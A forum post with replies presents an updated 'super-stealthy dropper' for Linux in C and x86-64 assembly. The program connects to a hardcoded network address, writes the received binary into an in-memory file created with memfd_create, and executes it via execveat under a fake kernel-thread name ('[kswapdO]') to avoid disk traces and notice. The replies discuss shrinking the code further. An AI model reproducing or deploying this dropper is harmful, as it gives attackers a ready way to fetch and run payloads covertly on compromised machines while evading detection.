Super-Stealthy Droppers (Updated)

In the original post, I described how to use memfd_create and fexecve to download a program into memory and run it from there. The post also provided some alternatives in case, either memfd_create or fexecve were not available.

For the alternative implementation of fexecve I used the trick to get a path to a file descriptor using /proc/PID/fd/NN. That is perfectly fine, however, you may run in two problems when using that technique:

  • First, the system may not have a /proc pseudo filesystem. Even when this is rare nowadays, it may happen, specially when dealing with embedded platforms.
  • Second, implementing that technique in assembler is a pain in the ass. Believe it or not, printing a decimal number requires quite some code.

So. it is good to keep some tricks under your sleeve.

Introducing execveat

execveat is a system call introduced on kernel 3.19, so it is relatively recent. Actually, it is more recent than memfd_create which was introduced on kernel 3.17… No, I do not have a prodigious memory… that information is in the man pages for both system calls :slight_smile:

Actually, fexecve man page provides the details on how to proceed when no /proc filesystem is available, and tell us that, in such cases, execveat is used. As a side note, some times people ask for books and resources to learn, so… there you go, the man pages are full of very juicy information. Read them, specially the final sections where NOTES and BUGS are described.

So, let’s rewrite our dropper using this “new” system call.

int main (int argc, char **argv, char **env) {
  int                fd, s, l;
  unsigned long      addr = 0x0100007f11110002;
  char               *args[2]= {"[kswapdO]", NULL};
  char               buf[1024];

  s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP);
  connect (s, (struct sockaddr*)&addr, 16);
  fd = memfd_create("a", MFD_CLOEXEC);

  while (1) {
      l = read (s, buf, 1024);
      if (write (fd, buf, l) < 1024) break;
    }
  close (s);

  execveat (fd, "", args, env, AT_EMPTY_PATH);
  
  return 0;
}

The code doesn’t look that different when compared to the original one. We have just changed the call to fexecve into a call to execveat. Source code-wise we have not gain much… same number of instructions, however, the big difference is that fexecve is a function that implies much more code that just invoking execveat which is a single system call. Actually, fexecve when using the /proc file system, requires two system calls as well as the code to print the PID in decimal…

Back to our new code, in order to use execveat to run a program using just its file descriptor, we have to provide the AT_EMPTY_PATH flag (flags are provided as the fourth argument). This flag says the system call that the path argument (2nd argument) will be an empty string and the system call should only use the file descriptor provided as first argument.

For the rest of the program you may read this or this in case there is some part that you do not understand (of course, you can also drop your question in comments down below).

Bonus

This was a too short post, so let’s include an assembler version of the program. This is specially simple because the program, as it is now, is just a bunch of system calls invoked one after the other:

section .text
global _start

_start:
	push rbp
	mov  rbp, rsp
	sub  rsp, 1024 ; Read buffer + Socket + size

	;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6);
	mov rdi, 2		; PF_INET 2
	mov rsi, 1		; SOCK_STREAM
	mov rdx, 6      ; IPPROTO_TCP
	mov rax, 41     ; socket
	syscall
	
	mov r12, rax    ; Save socket on r12 for later

	;; memfd_create ("a", 1)
	lea rdi, [rel fname]
	mov rsi, 1
	mov rax, 319       ; memfd_create
	syscall
	mov r13, rax		; Save fd in R13 for later

 	mov rdi, r12
	lea rsi, [rel addr]
	mov rdx, 16
	mov rax, 42   ; Connect !
	syscall

	lea rsi, [rbp]
l0:				
	;; _read (s = r12, rdi, 1024);
	mov rdi, r12
	mov rdx, 1024
	mov rax, 0  ; read
	syscall

	;; _write (fd = r13, rdi, result of read)
	mov rdi, r13
	mov rdx, rax
	mov rax, 1  ; write
	syscall
	cmp eax, 1024
	jl done
	jmp l0
	
done:
	mov rdi, r12
	mov rax, 3 ; close
	syscall

	mov rdi, r13
	lea rsi, [rel fname + 1]
	xor rdx, rdx
	xor r10, r10
	mov r8, 0x1000
	mov rax, 322; execat
	syscall
	
	addr    dq 0x0100007f11110002
	fname   db "a",0

There are only two comments regarding this code:

  • The frame pointer at the beginning of the code can be removed. It is an artefact from a previous post . For a program as simple as this, it is better to just use the available registers and we do not really need to create a stack frame as there is no function call involved… Just use the stack as buffer when needed.
  • The second parameter to execveat is a null string. Note that we just reuse the name passed to memfd_create but we increase the pointer 1 byte so it points to the ending zero… That is a NULL string in assembler.

This version is around 350 bytes, but I bet it can be reduced even more. If you manage to get it under 300 let me know :wink:

6 Likes

When i saw the read and write loop, i immediately remembered sendfile(2), maybe that could save us a few bytes ?.

Was nice reading your post after quite some time :grinning:

Update: sendfile(2) doesnt accept socket for in_fd, so we cannot do what i suggested above, damn i have to read those man pages more often!. Also wish there was something like receivefile().

1 Like

Nice to read your post sir, after quite long time :heart:

1 Like

This topic was automatically closed after 121 days. New replies are no longer allowed.